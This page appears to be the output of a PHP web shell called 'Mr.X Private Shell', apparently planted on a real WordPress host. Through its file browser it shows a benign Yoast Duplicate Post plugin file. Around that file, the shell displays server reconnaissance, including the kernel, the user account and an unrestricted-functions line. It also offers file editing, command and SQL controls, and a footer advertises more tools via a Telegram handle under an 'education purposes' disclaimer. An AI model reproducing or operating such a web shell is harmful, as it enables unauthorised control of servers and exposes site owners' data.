Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/////plugins/duplicate-post/src/handlers      ( Reset | Go to )
File Name: bulk-handler.php
Edit
<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use 
Yoast\WP\Duplicate_Post\Permissions_Helper;
use 
Yoast\WP\Duplicate_Post\Post_Duplicator;
use 
Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post handler class for duplication bulk actions.
 *
 * @since 4.0
 */
class Bulk_Handler {

    
/**
     * Post_Duplicator object.
     *
     * @var Post_Duplicator
     */
    
protected $post_duplicator;

    
/**
     * Holds the permissions helper.
     *
     * @var Permissions_Helper
     */
    
protected $permissions_helper;

    
/**
     * Initializes the class.
     *
     * @param Post_Duplicator    $post_duplicator    The Post_Duplicator object.
     * @param Permissions_Helper $permissions_helper The Permissions Helper object.
     */
    
public function __constructPost_Duplicator $post_duplicatorPermissions_Helper $permissions_helper ) {
        
$this->post_duplicator    $post_duplicator;
        
$this->permissions_helper $permissions_helper;
    }

    
/**
     * Adds hooks to integrate with WordPress.
     *
     * @return void
     */
    
public function register_hooks() {
        \
add_action'admin_init', [ $this'add_bulk_handlers' ] );
    }

    
/**
     * Hooks the handler for the Rewrite & Republish action for all the selected post types.
     *
     * @return void
     */
    
public function add_bulk_handlers() {
        
$duplicate_post_types_enabled $this->permissions_helper->get_enabled_post_types();

        foreach ( 
$duplicate_post_types_enabled as $duplicate_post_type_enabled ) {
            \
add_filter"handle_bulk_actions-edit-{$duplicate_post_type_enabled}", [ $this'bulk_action_handler' ], 10);
        }
    }

    
/**
     * Handles the bulk actions.
     *
     * @param string $redirect_to The URL to redirect to.
     * @param string $doaction    The action that has been called.
     * @param array  $post_ids    The array of marked post IDs.
     *
     * @return string The URL to redirect to.
     */
    
public function bulk_action_handler$redirect_to$doaction$post_ids ) {
        
$redirect_to $this->clone_bulk_action_handler$redirect_to$doaction$post_ids );
        return 
$this->rewrite_bulk_action_handler$redirect_to$doaction$post_ids );
    }

    
/**
     * Handles the bulk action for the Rewrite & Republish feature.
     *
     * @param string $redirect_to The URL to redirect to.
     * @param string $doaction    The action that has been called.
     * @param array  $post_ids    The array of marked post IDs.
     *
     * @return string The URL to redirect to.
     */
    
public function rewrite_bulk_action_handler$redirect_to$doaction$post_ids ) {
        if ( 
$doaction !== 'duplicate_post_bulk_rewrite_republish' ) {
            return 
$redirect_to;
        }

        
$counter 0;
        if ( \
is_array$post_ids ) ) {
            foreach ( 
$post_ids as $post_id ) {
                
$post = \get_post$post_id );
                if ( ! empty( 
$post ) && $this->permissions_helper->should_rewrite_and_republish_be_allowed$post ) ) {
                    
$new_post_id $this->post_duplicator->create_duplicate_for_rewrite_and_republish$post );
                    if ( ! \
is_wp_error$new_post_id ) ) {
                        ++
$counter;
                    }
                }
            }
        }
        return \
add_query_arg'bulk_rewriting'$counter$redirect_to );
    }

    
/**
     * Handles the bulk action for the Clone feature.
     *
     * @param string $redirect_to The URL to redirect to.
     * @param string $doaction    The action that has been called.
     * @param array  $post_ids    The array of marked post IDs.
     *
     * @return string The URL to redirect to.
     */
    
public function clone_bulk_action_handler$redirect_to$doaction$post_ids ) {
        if ( 
$doaction !== 'duplicate_post_bulk_clone' ) {
            return 
$redirect_to;
        }

        
$counter 0;
        if ( \
is_array$post_ids ) ) {
            foreach ( 
$post_ids as $post_id ) {
                
$post = \get_post$post_id );
                if ( ! empty( 
$post ) && ! $this->permissions_helper->is_rewrite_and_republish_copy$post ) ) {
                    if ( \
intval( \get_option'duplicate_post_copychildren' ) !== )
                        || ! \
is_post_type_hierarchical$post->post_type )
                        || ( \
is_post_type_hierarchical$post->post_type ) && ! Utils::has_ancestors_marked$post$post_ids ) )
                    ) {
                        if ( ! \
is_wp_error( \duplicate_post_create_duplicate$post ) ) ) {
                            ++
$counter;
                        }
                    }
                }
            }
        }
        return \
add_query_arg'bulk_cloned'$counter$redirect_to );
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL